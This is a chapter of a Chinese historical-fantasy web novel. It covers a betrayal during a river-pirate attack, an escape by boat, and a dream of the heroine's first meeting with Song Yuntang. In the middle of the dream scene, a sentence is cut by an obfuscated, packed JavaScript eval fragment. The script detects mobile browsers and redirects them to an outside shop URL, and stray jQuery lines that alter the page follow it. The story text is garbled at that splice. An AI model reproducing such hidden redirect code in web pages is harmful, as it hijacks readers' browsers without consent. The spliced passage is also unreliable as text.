甲板上的厮杀渐歇,水贼的尸体横陈,血水顺着木板缝隙渗入江中。


    裴隽站在舱门处,握剑的手微微发颤。


    他盯着宋昀棠的背影。


    那人只是随意地甩了甩障刀上的血,连呼吸都未乱,仿佛刚才的激战不过是一场闲庭信步的演练。


    “疏散完了?”宋昀棠微微侧头问,声音冷淡。


    裴隽喉结滚动,指节捏得作响。


    在去到墨梨镇之前,自己曾是个受人仰仗的江湖侠客,可自从遇见宋昀棠后,越来越像个无用的旁观者。


    所以,这也是他为什么一定要带云知绾远离墨梨镇的原因。


    凭什么……


    他目光一沉,左手悄然摸向腰间暗囊——那里藏着一些铁莲子,淬了曼陀罗花汁,本是用来对付难缠的敌人。


    “小心江面!”他突然高喊。


    宋昀棠回头的一瞬,裴隽指尖一弹,铁莲子破空而去,正中后颈穴位!


    宋昀棠瞳孔微缩,身形一晃,障刀咣当坠地。


    他单膝跪倒,强撑着抬头,眼底寒光如刃,却终究抵不过药力,用尽最后的力气暴喝一声“江面”后,重重栽倒在血泊之中。


    裴隽喘着粗气,嘴角扯出一丝笑。


    现在,该轮到他力挽狂澜了。


    江风忽烈,原本退缩的水贼见宋昀棠倒下,顿时骚-动起来。


    “那煞星倒了!上啊!”


    一声呼哨,更多的黑影从江面跃上甲板。


    裴隽这才发现,这并非原先那批乌合之众,而是装备精良的悍匪。


    他举剑格挡,却被一记重刀震得虎口崩裂,踉跄后退。


    这批人,比原先多了数倍!


    原本船上那些人都被赶去了底舱躲着,仅凭他一人如何能敌?


    偏偏宋昀棠还是被他亲手打晕的。


    “放箭!”


    箭雨倾泻而下,裴隽狼狈翻滚,肩头仍中了一箭。


    他咬牙折断箭杆,冷汗浸-透后背。


    失算了。


    原本以为击倒宋昀棠便能独占功劳,可如今却连自保都难。


    ***


    顶厢内,初蕴浅猛地按住窗棂。


    方才似乎是听见宋昀棠喊了一声,之后便是更多的喊杀声、更多的脚步声,甚至船都在震动。


    没再听见宋昀棠的声音了,初蕴浅眉头紧锁地看向窗外。


    江水黑沉,如墨汁般吞噬了船上微弱的光亮。


    她拽着云知绾的手腕,另一只手死死攥住长顺的衣领,三人从窗口坠下的瞬间,冰冷江水立刻漫过头顶。


    水流挤压着耳膜,世界骤然寂静,只剩下沉闷的心跳声在胸腔里鼓噪。


    云知绾怕水,本能地慌乱挣扎,手指胡乱抓握,却被初蕴浅一把扣住后颈,迫使她仰头向上。


    长顺的身体沉重,昏迷中毫无反应,像一块石头般向下沉坠。


    初蕴浅咬紧牙关,双腿用力蹬水,拽着两人拼命像水面浮去。


    不能松手。


    绝对不能松手。


    江水灌入鼻腔,刺痛感灼烧这喉咙。她的视野有些模糊,四肢逐渐沉重,可手指仍死死攥着长顺的衣襟,哪怕指甲已经深深掐进掌心。


    “哗啦——”


    三人终于破水而出,云知绾忍不住剧烈咳嗽着。


    初蕴浅托着长顺的下颌,确保他的口鼻露出水面。


    有之前做的简易措施,他们勉强能浮在水上不再往下坠,可那绸缎禁不起太长时间的浸泡。


    江面漆黑一片,大船近在咫尺,八根粗铁索将船身牢牢固定在江心。水贼们忙着船头,暂未顾及这边,倒是让他们抓准了逃生的时机。


    船尾处,一叶小舟浮在水面,被麻绳系在船身的铁环上,随着波浪轻轻起伏。


    “那里!”云知绾率先看见,手指向小舟方向,压低声音对初蕴浅说。


    初蕴浅一手拼命划水向前,因另一手带着二人,动作不及平时敏捷,但也算快速游到小舟旁,摸到了系绳的结扣。


    麻绳被水泡得发胀,死死卡在铁环里。


    “你抓着他,抱着我的腰别松手。”


    她一边对云知绾说,一边抽出匕首,刀光一闪。


    “铮!”


    麻绳应声而断。


    小舟立刻被江水冲过,她即使抓住舟沿。


    “你先上去。”


    “阿浅,你的后背……”


    环住她腰际时,云知绾才感受到贴在她后背上的脸颊沾了些血,意识到可能是方才跳江时,初蕴浅不慎受伤。


    “先别管,上去。”


    她忍着剧痛,先将云知绾扶上去,二人合力将昏睡中的长顺弄上舟后,初蕴浅才挣扎地爬了上去。


    云知绾卸下腰间的木匣子,将它丢进江中,解下绑匣子的布条,用干爽的一面绑住她的后背,防止血流过多。


    小舟刚漂出去几丈远,大船上突然传来一声厉喝:“那边有人!”


    云知绾反应极快,一把扯过初蕴浅提前准备好的黑色油布帐子展开,将三人一舟完全笼罩。


    “你再忍忍,这水流还算湍急,不用划水也能漂远。”她贴着初蕴浅的耳朵说。


    黑布下,她的手紧紧握住初蕴浅的,指尖冰冷却有力。


    脚步声在前方的船尾上响起,火把的光亮透过黑布在三人脸上投下晃动的光影。


    “看错了吧?”一个粗犷的声音说。


    “明明看到水花……”


    声音渐渐远去。


    黑布下,云知绾长长地舒了一口气,侧过头在极近的距离里对初蕴浅露出一个虚弱的微笑,“没事了。”


    可没有等到她的回应,云知绾心头一惊,立刻伸出手指探了探她的鼻息和脉搏。


    还好,只是累晕了。


    小舟随着江流缓缓漂远,大船的轮廓逐渐模糊。云知绾小心地掀开黑布一角,确认安全后,才完全揭开。


    月光重新微微照在初蕴浅疲惫的睡颜上,云知绾轻揉着她的后脑勺,“辛苦你了阿浅,接下来换我守着你吧。”


    ***


    初蕴浅做了一个冗长的梦。


    梦中她不仅依旧做着大巍的初蕴浅,就连灵魂也是原身,可又着着实实是这具身体的视角。


    那是在一个冬日里,这具身体年龄还不大,带着丫鬟出去逛集市。


    她管那个丫鬟叫……“小珍。”


    小珍也正好在一处摊位上结了账,听见自家姑娘呼唤,带着钱袋和刚买下的银簪飞快地跑过来,“姑娘。”


    “阿娘今日给我的银两还剩多少?”


    小珍数了数,笑道:“主母给了十两银子,还剩八两。”


    这也难怪,姑娘的东西哪一样不是从长安或江南以及西域商队处购来的最好的?今日出来逛集市也就是图凑个热闹,出来转转而已。


    吃些东西、买点小玩意,也花不了多少。


    “你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16158723|176690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拿三两,去给那边那个孩子。”


    小珍顺着她指的方向望去,是一个衣着单薄的可怜女孩正在路边乞讨。


    女孩是个生面孔,从未在墨梨镇见过,不过她与自己和姑娘年纪相仿,瞧着也是可怜。


    既然姑娘允准,小珍便数了三两塞到她手中。


    女孩在路边待了许久也无人肯施舍,似是不敢置信会有好心人给她银子。而且要知道,墨梨镇普通人家一年也用不到二两银子,这好心的姑娘竟直接给了三两。


    这哪里是救命恩人,这简直就是菩萨在世!


    女孩立刻跪下就要给初蕴浅磕头道谢,被她制止并扶了起来。


    “不必如此,”她从小珍手里的油包中取出一件刚买的崭新斗篷给女孩披上,“你有住的地方吗?”


    女孩摇头。


    初蕴浅有些纠结,初家倒是还有空厢房,但阿耶可不会允许自己随意带一个陌生女孩回家里做客。


    她想了想,给女孩指了路,“你去寻一间名为‘醉仙楼’的客栈,这些银两可以供你在那儿待上一两个月。等开春了,我就寻个理由让你来我家做事。”


    女孩感激得不知道该说些什么,连连道谢后,奔着她指的方向去。


    女孩走后,初蕴浅也打算带着小珍回初家。


    “姑娘善心仁厚,雪神赐福你。”


    一道清润好听的声音骤然响起,惊得初蕴浅身形一颤。


    是那个人。


    方才就暗中跟了她们一路了。


    初蕴浅心中不悦,她不喜欢这个莫名其妙的人。


    她就是瞧着那孩子可怜兮兮的才出手帮助,跟雪神有什么关系?她又不是雪神的信徒。


    这陌生的男子瞧着约莫大她五六岁,可能是新搬来镇上的。


    她没搭理他,带着小珍往家的方向走去。


    “初姑娘。”


    这回是直接点明她是初家的女儿,初蕴浅顿住脚步,却未回头。


    “我们还会再见面的。”马车上的男子嘴角挂着清冷却柔和的笑意。


    初蕴浅依旧没搭理他,背影一步一步消失在男子的眼眸中。


    ***


    醒来后,她发现自己躺在一间屋子的榻上。


    这间屋子虽显得简陋,但很整洁没有异味,屋内除了她便无一人。


    梦中那个女孩她认识,是初母身边的丫头,叫眠霜的,曾服侍过原身。


    与她在初家踢过毽子的丫头里,就有眠霜。


    不过梦里那个男子是谁?初蕴浅努力回想着,可那人上半张脸隐于阴影内,看不清。


    但站在原身的视角,那人一定很重要——因为她清楚地听到那人与她说过话后,原身的心脏在胸腔内漏了一个节拍。


    难不成是宋昀棠?


    原来这就是他俩的神奇相遇啊。


    初蕴浅下了榻,准备活动活动筋骨,却感到后背钝痛,倒吸一口凉气。


    差点忘了,跳江逃生的时候不慎刮到了后背,后来还是云知绾发现,用布条给她堵住了伤口。


    房门被“吱吖”一声打开,缓缓走进来一个身形颀长的男人。


    初蕴浅一愣,眼前人的容颜与梦境里那半张脸倏然重合,她察觉到这具身体的心脏再次漏了一瞬。


    那货还真是宋昀棠啊。


    难怪,能让原身的大脑形成肌肉记忆,就连在梦里,也是二人的初遇。


    “浅浅醒了,快去榻上趴好,我给你上药。”